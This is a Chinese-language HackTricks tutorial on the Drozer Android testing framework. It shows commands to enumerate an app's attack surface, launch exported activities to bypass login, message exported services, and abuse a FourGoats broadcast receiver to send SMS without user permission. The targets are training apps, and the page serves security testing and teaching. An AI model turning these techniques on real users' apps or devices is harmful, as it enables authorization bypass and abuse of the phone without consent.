Drozer Tutorial

学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

漏洞赏金提示: 注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

待测试的 APK

本教程的部分内容摘自 Drozer 文档 pdf.

安装

在您的主机上安装 Drozer Client。可以从 最新版本 下载。

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

下载并安装来自最新版本的drozer APK。目前是这个

adb install drozer.apk

启动服务器

Agent 正在 31415 端口上运行,我们需要 端口转发 以建立 Drozer 客户端和 Agent 之间的通信,以下是执行此操作的命令:

adb forward tcp:31415 tcp:31415

最后,启动 应用程序,并按下底部的 "开启"

并连接到它:

drozer console connect

Interesting Commands

Commands

Description

Help MODULE

显示所选模块的帮助

list

显示当前会话中可以执行的所有 drozer 模块的列表。这会隐藏您没有适当权限运行的模块。

shell

在设备上启动一个交互式 Linux shell,处于 Agent 的上下文中。

clean

删除 drozer 在 Android 设备上存储的临时文件。

load

加载包含 drozer 命令的文件并按顺序执行它们。

module

从互联网查找并安装额外的 drozer 模块。

unset

删除 drozer 传递给其生成的任何 Linux shell 的命名变量。

set

在变量中存储一个值,该值将作为环境变量传递给 drozer 生成的任何 Linux shell。

shell

在设备上启动一个交互式 Linux shell,处于 Agent 的上下文中

run MODULE

执行一个 drozer 模块

exploit

Drozer 可以创建在设备上执行的漏洞。 drozer exploit list

payload

漏洞需要一个有效载荷。 drozer payload list

Package

查找 name 的包,通过部分名称进行过滤:

dz> run app.package.list -f sieve
com.mwr.example.sieve

包的基本信息:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

阅读 Manifest:

run app.package.manifest jakhar.aseem.diva

攻击面 of the package:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • 活动: 也许你可以启动一个活动并绕过某种授权,这应该阻止你启动它。

  • 内容提供者: 也许你可以访问私有数据或利用某些漏洞(SQL注入或路径遍历)。

  • 服务:

  • 可调试: 了解更多

活动

导出的活动组件的“android:exported”值在AndroidManifest.xml文件中设置为**“true”**:

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

列出导出活动:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

启动活动

也许您可以启动一个活动并绕过某种授权,这应该阻止您启动它。

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

您还可以从 adb 启动导出的活动:

  • 包名是 com.example.demo

  • 导出活动名称是 com.example.test.MainActivity

adb shell am start -n com.example.demo/com.example.test.MainActivity

内容提供者

这篇文章太长了,所以 你可以 在这里访问它的独立页面

服务

一个导出的服务在 Manifest.xml 中声明:

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

在代码中检查**handleMessage**函数,该函数将接收****消息

列出服务

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

与服务交互

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

示例

查看 drozerapp.service.send 的帮助:

请注意,您将首先发送 "msg.what" 中的数据,然后是 "msg.arg1" 和 "msg.arg2",您应该检查代码 使用了哪些信息 以及在哪里。 使用 --extra 选项,您可以发送由 "msg.replyTo"" 解释的内容,使用 --bundle-as-obj,您可以创建一个包含提供的详细信息的对象。

在以下示例中:

  • what == 2354

  • arg1 == 9234

  • arg2 == 1

  • replyTo == object(string com.mwr.example.sieve.PIN 1337)

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

广播接收器

在Android基本信息部分,您可以看到什么是广播接收器

在发现这些广播接收器后,您应该检查它们的代码。特别注意**onReceive**函数,因为它将处理接收到的消息。

检测所有 广播接收器

run app.broadcast.info #Detects all

检查应用的广播接收器

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

广播 交互

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

发送消息

在这个例子中,利用 FourGoats apk 内容提供者,你可以 发送任意短信 到任何非高级目的地 而无需 用户的许可。

如果你阅读代码,参数 "phoneNumber" 和 "message" 必须发送到内容提供者。

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

是否可调试

生产APK绝不应该是可调试的。 这意味着您可以附加Java调试器到正在运行的应用程序,实时检查,设置断点,逐步执行,收集变量值甚至更改它们。InfoSec Institute有一篇优秀的文章关于当您的应用程序可调试时深入挖掘和注入运行时代码。

当应用程序可调试时,它将在Manifest中出现:

<application theme="@2131296387" debuggable="true"

您可以使用 Drozer 找到所有可调试的应用程序:

run app.package.debuggable

教程

更多信息

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

学习与实践 AWS 黑客攻击:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客攻击: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated